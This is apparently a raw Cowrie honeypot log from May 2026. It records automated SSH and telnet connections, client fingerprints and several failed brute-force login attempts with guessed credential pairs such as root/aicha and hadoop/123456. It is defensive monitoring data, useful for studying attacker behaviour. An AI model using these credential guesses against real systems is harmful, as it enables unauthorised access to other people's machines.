{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:05.472911Z","src_ip":"45.156.87.69","session":"5ca91b03f94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:05.976910Z","src_ip":"45.156.87.69","session":"5ca91b03f94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.18625283241272,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:06.545194Z","src_ip":"152.42.224.71","session":"847459d6275d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:07.070534Z","src_ip":"45.156.87.69","session":"5ca91b03f94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41070,"dst_ip":"159.203.135.109","dst_port":22,"session":"a631d79623d5","protocol":"ssh","message":"New connection: 45.156.87.69:41070 (159.203.135.109:22) [session: a631d79623d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:09.110554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:09.120976Z","src_ip":"45.156.87.69","session":"a631d79623d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:09.231524Z","src_ip":"45.156.87.69","session":"a631d79623d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vahid","password":"vahid","message":"login attempt [vahid/vahid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:09.868080Z","src_ip":"45.156.87.69","session":"a631d79623d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:11.160965Z","src_ip":"45.156.87.69","session":"a631d79623d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"167616fa0689","protocol":"ssh","message":"New connection: 45.156.87.69:41074 (159.203.135.109:22) [session: 167616fa0689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:12.950475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:13.000936Z","src_ip":"45.156.87.69","session":"167616fa0689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:13.099341Z","src_ip":"45.156.87.69","session":"167616fa0689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aicha","message":"login attempt [root/aicha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:13.582968Z","src_ip":"45.156.87.69","session":"167616fa0689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:14.709314Z","src_ip":"45.156.87.69","session":"167616fa0689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32884,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa0f1529b735","protocol":"telnet","message":"New connection: 152.42.224.71:32884 (10.17.0.5:23) [session: aa0f1529b735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.305886Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34200,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fff68404441","protocol":"ssh","message":"New connection: 103.27.238.120:34200 (159.203.135.109:22) [session: 6fff68404441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.356589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.362329Z","src_ip":"103.27.238.120","session":"6fff68404441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c267060d9540","protocol":"ssh","message":"New connection: 45.156.87.69:23284 (159.203.135.109:22) [session: c267060d9540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.554491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.569915Z","src_ip":"45.156.87.69","session":"c267060d9540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.626313Z","src_ip":"103.27.238.120","session":"6fff68404441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:16.675696Z","src_ip":"45.156.87.69","session":"c267060d9540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd","message":"login attempt [test/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:17.296932Z","src_ip":"45.156.87.69","session":"c267060d9540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2698026980a","message":"login attempt [root/2698026980a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:17.414384Z","src_ip":"103.27.238.120","session":"6fff68404441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:18.382601Z","src_ip":"45.156.87.69","session":"c267060d9540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:18.679790Z","src_ip":"103.27.238.120","session":"6fff68404441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23290,"dst_ip":"159.203.135.109","dst_port":22,"session":"326f3a19df90","protocol":"ssh","message":"New connection: 45.156.87.69:23290 (159.203.135.109:22) [session: 326f3a19df90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:20.185662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:20.192378Z","src_ip":"45.156.87.69","session":"326f3a19df90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:20.306617Z","src_ip":"45.156.87.69","session":"326f3a19df90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:21.279166Z","src_ip":"45.156.87.69","session":"326f3a19df90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:22.430492Z","src_ip":"45.156.87.69","session":"326f3a19df90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23298,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd8366fcf13f","protocol":"ssh","message":"New connection: 45.156.87.69:23298 (159.203.135.109:22) [session: fd8366fcf13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:24.013906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:24.120442Z","src_ip":"45.156.87.69","session":"fd8366fcf13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:24.124401Z","src_ip":"45.156.87.69","session":"fd8366fcf13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gaston","message":"login attempt [root/gaston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:24.948931Z","src_ip":"45.156.87.69","session":"fd8366fcf13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:26.080114Z","src_ip":"45.156.87.69","session":"fd8366fcf13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8b5a11aedf9","protocol":"ssh","message":"New connection: 45.156.87.69:44908 (159.203.135.109:22) [session: b8b5a11aedf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:27.906838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:27.912205Z","src_ip":"45.156.87.69","session":"b8b5a11aedf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:28.029807Z","src_ip":"45.156.87.69","session":"b8b5a11aedf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59644,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae72e8627ab2","protocol":"telnet","message":"New connection: 152.42.224.71:59644 (10.17.0.5:23) [session: ae72e8627ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:28.735005Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:28.854290Z","src_ip":"45.156.87.69","session":"b8b5a11aedf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:30.027811Z","src_ip":"45.156.87.69","session":"b8b5a11aedf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44914,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5be3418adf","protocol":"ssh","message":"New connection: 45.156.87.69:44914 (159.203.135.109:22) [session: fe5be3418adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:32.035882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:32.041987Z","src_ip":"45.156.87.69","session":"fe5be3418adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59652,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee37f43c7fe","protocol":"telnet","message":"New connection: 152.42.224.71:59652 (10.17.0.5:23) [session: aee37f43c7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:32.093812Z"}
